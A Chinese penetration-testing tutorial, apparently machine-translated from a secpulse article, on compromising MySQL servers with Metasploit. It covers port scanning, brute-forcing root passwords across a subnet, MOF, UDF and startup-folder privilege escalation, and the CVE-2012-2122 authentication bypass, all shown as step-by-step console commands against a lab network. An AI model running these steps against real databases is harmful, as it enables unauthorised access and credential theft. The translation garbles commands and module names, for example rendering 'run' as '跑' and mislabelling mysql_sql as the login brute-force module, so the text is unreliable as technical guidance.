本文作者:simeon本文属于安全脉搏原创金币奖励计划转载请参考:https://www.secpulse.com/archives/61458.htmlMetasploit在安全界简称msf,而不是…
本文作者:simeon
本文属于安全脉搏原创金币奖励计划
转载请参考:https://www..com/archives/61458.html
Metasploit在安全社区中被称为msf,而不是名为msf的在线Misfits团队。 Metasploit是一个免费的可下载框架,可以轻松获取,开发和利用计算机软件漏洞。它为已知的软件漏洞提供了数百种专业漏洞利用工具,分为免费和付费版本。官方地址是:https://www.metasploit.com/,在早期的BT渗透平台和Kali,pententbox它配备了Metasploit。
0x01前言
1、相关资源
(1)metasploit的github项目:https://github.com/rapid7/metasploit-framework
(2)metasploit帮助文档:https://metasploit.help.rapid7.com/docs/getting-started
(3)Metasploit渗透测试魔鬼训练营:
https://pan.baidu.com/s/1mgib7b6#list/path=%2F
(4)metasploit漏洞模拟器:https://github.com/rapid7/metasploit-vulnerability-emulator
2、测试环境
(1)渗透平台:kali linux2.x
(2)射击平台:Windows2003SP2 + phpstduy + ComsenzEXP_X25GBK + Mysql5.1.68
3、Metasploit下所有Mysql辅助、扫描以及漏洞利用模块
辅助/admin/mysql/mysql_enum MySQL枚举模块
辅助/admin/mysql/mysql_sql MySQL SQL查询
辅助/分析/jtr_mysql_fast 约翰 开膛手 破解MySQL密码
辅助/scanner/mysql/mysql_authbypass_hashdump MySQL密码验证绕过
辅助/scanner/mysql/mysql_file_enum MYSQL 文件/目录枚举
辅助/scanner/mysql/mysql_hashdump MYSQL 密码哈希值获取
辅助/scanner/mysql/mysql_login MySQL登录验证暴力模块
辅助/scanner/mysql/mysql_schemadump MYSQL 模式 导出
辅助/scanner/mysql/mysql_version MySQL信息枚举
辅助/scanner/mysql/mysql_writable_dirs MYSQL目录可写测试
辅助/服务器/捕获/mysql 捕获MySQL身份验证凭据
Exploit/linux/mysql/mysql_yassl_getname yaSSL CertDecoder: GetName溢出漏洞
Exploit/linux/mysql/mysql_yassl_hello MySQL yaSSL SSL Hello 消息溢出漏洞
Exploit/windows/mysql/mysql_mof windows mof权限
Exploit/windows/mysql/mysql_payload windows上传漏洞
Exploit/windows/mysql/mysql_start_up windows启动项权限
Exploit/windows/mysql/mysql_yassl_hello MySQL yaSSL SSL Hello 消息溢出漏洞/windows/mysql/scrutinizer_upload_exec Plixer Scrutinizer NetFlow和sFlow Analyzer 9 MYSQL默认凭证上传执行
经过实际测试,黑色粗体模块效果更好。
0x02渗透思路
利用Metasploi渗透的思路遵循网络渗透的思路:
1.收集信息并收集目标IP地址。
2.端口信息收集和扫描,扫描数据库端口以获取目标IP的地址或IP段。
3.对打开的Mysql数据库的IP地址或IP地址段执行密码暴力破解。
4.成功利用并解除MySQL数据库。
0x03信息获取
1、msf快速搜索关键字
这次主要使用kali平台进行msf演示。需要手动更新和处理kali中漏洞的快速搜索。否则,搜索漏洞很长。 Kali 2.0没有metasploit服务,因此服务metasploit启动无法承受。影响。
在kali 2.0中具有数据库支持的MSF方法如下:
(1)首先启动postgresql数据库:/etc/init.d/postgresql start;或者服务postgresql启动;
(2)初始化MSF数据库:msfdb init;
(3)运行msfconsole:msfconsole;
(4)建立db_rebuild_cache
Db_rebuild_cache
(5)以msf格式查看数据库连接状态:
Db_status
(6)重建数据库后使用搜索键串非常快。
2、端口信息收集
(1)nmap扫描端口信息,获取扫描IP地址3306端口打开情况和mac地址信息,如图1所示。执行命令:nmap -p 3306 192.168.157.130

图1扫描端口
(2)扫描mysql数据以及端口信息,获取数据库版本,如图2所示。
Nmap --script=mysql-info 192.168.157.130

图2获取了mysql数据库版本和端口信息
(3)查看mysq版本信息
使用 auxiliary/scanner/mysql/mysql_version
设置 rhosts 192.168.157.130
跑
用于查看配置信息或详细信息的选项或信息。
Rhosts:目标IP(可以是单个IP,也可以是网段192.168.157.1-255或192.168.1.0/24,或文件/root/ip_addresses.txt)
THREADS:线程数,默认为1,默认为OK,Msf发现mysql数据库的存在将以绿色+显示,如图3所示。

图3 mysql版本扫描
0x04密码破解
1、msf密码破解mysql_login
该模块是辅助模块auxiliary/admin/mysql/mysql_sql,其模块主要包括BLANK_PASSWORDS,BRUTEFORCE_SPEED,DB_ALL_CREDS,DB_ALL_PASS,DB_ALL_USERS,PASSWORD,PASS_FILE,Proxies,RHOSTS,RPORT,STOP_ON_SUCCESS,THREADS,USERNAME,USERPASS_FILE,USER_AS_PASS,USER_FILE,冗长。参数,其中一些需要设置。
只需为单个主机设置RHOSTS,RPORT,USERNAME,PASSWORD或PASS_FILE即可
(1)场景1:内网获取root某一个口令
使用 auxiliary/admin/mysql/mysql_sql
设置 RHOSTS 192.168.157.1-254
设置 密码 root
设置 用户名 root
跑
执行后,mysql用户名为root,密码为192.168.157.1-254的root扫描验证。执行效果如图4所示。

图4Msf扫描mysql单个密码
(2)场景2:使用密码字典进行扫描
使用 auxiliary/admin/mysql/mysql_sql
设置 RHOSTS 192.168.157.1-254
设置 pass_file “/root/top10000pwd.txt”
设置 用户名 root
跑
注意:如果通过扫描成功完成,msf将在会话中保存用户名和密码。
0x05尝试Mysql权限
在Metasploit下,Linux操作系统下对Mysql的支持较少,Windows有三种。
(1)mof提权
使用 exploit/windows/mysql/mysql_mof
设置 rhost 192.168.157.1
设置 rport 3306
设置 密码 root
设置 用户名 root
还需要设置计算机ip和端口的本地弹跳
Mysql 5.0.22测试mof权限不成功
Mysql 5.5.53(phpstudy)测试mof权限不成功。
5.1.68社区MySQL社区服务器测试mof进行授权。

图5 mof权限成功
(2)udf提权
使用 exploit/windows/mysql/mysql_payload
与--secure-file-priv选项和mysql版本相关
(3)程序启动项提权
利用/窗/mysql /下mysql_start_up
中文版支持不佳。您需要设置startup_folder。默认为英语路径。改为中文路径后,测试不成功。
设置startup_folder'/Documents and Settings/All Users/Start Menu/Programs/Startup /
0x06其他溢出漏洞
Metasploit中存在一些mysql溢出漏洞,但有特定的场景。实际上渗透时,您可以实际测试它。参数设置相对简单。您可以通过info或options查看它,使用set命令进行设置,并且不会描述后续漏洞。
1、Mysql身份认证漏洞及利用(CVE-2012-2122)
连接MariaDB/MySQL后,输入的密码将与预期的正确密码进行比较。由于处理不正确,即使memcmp()返回非零值,MySQL也会认为这两个密码是相同的。换句话说,只要您知道用户名,就可以通过尝试直接登录SQL数据库。根据公告,它可以匹配一次约256次。受影响的产品:所有MariaDB和MySQL版本最高为5.1.61,5.2.11,5.3.5,5.5.22漏洞。
5.1.62,5.2.12,5.3.6,5.5.23中的MariaDB版本没有漏洞。
5.1.63,5.5.24,5.6.6的MySQL版本并非没有漏洞。
使用auxiliary/scanner/mysql/mysql_authbypass_hashdump
2、exploit/windows/mysql/mysql_yassl_hello
3、exploit/windows/mysql/scrutinizer_upload_exe
0x07技能
使用全局变量,Intranet渗透更容易使用,具体命令是:
Setg rhost 192.168.1-254
Setg 用户名 root
Setg 密码 root
保存
以上命令将rhost,username和password设置为全局变量。设置完成后,它将保存在/root/.msf4/config文件中。使用unsetg命令取消设置全局变量:
Unsetg rhost
取消设置 用户名
取消设置 密码
保存
0x08思考和总结
Metasploit下mysql特权的主要环境是英文版。中文版的相对影响相对较差。您需要更改默认文件夹选项。在实际环境中,您可以使用Metasploit下载pentestbox的版本以实现渗透。一般来说,对于Mysql的渗透,Msf非常强大,而且一些漏洞可以直接获取shell,这可以直接在shell的基础上提出。
类似文章请参见安全脉冲《利用Metasploit来攻击Mysql》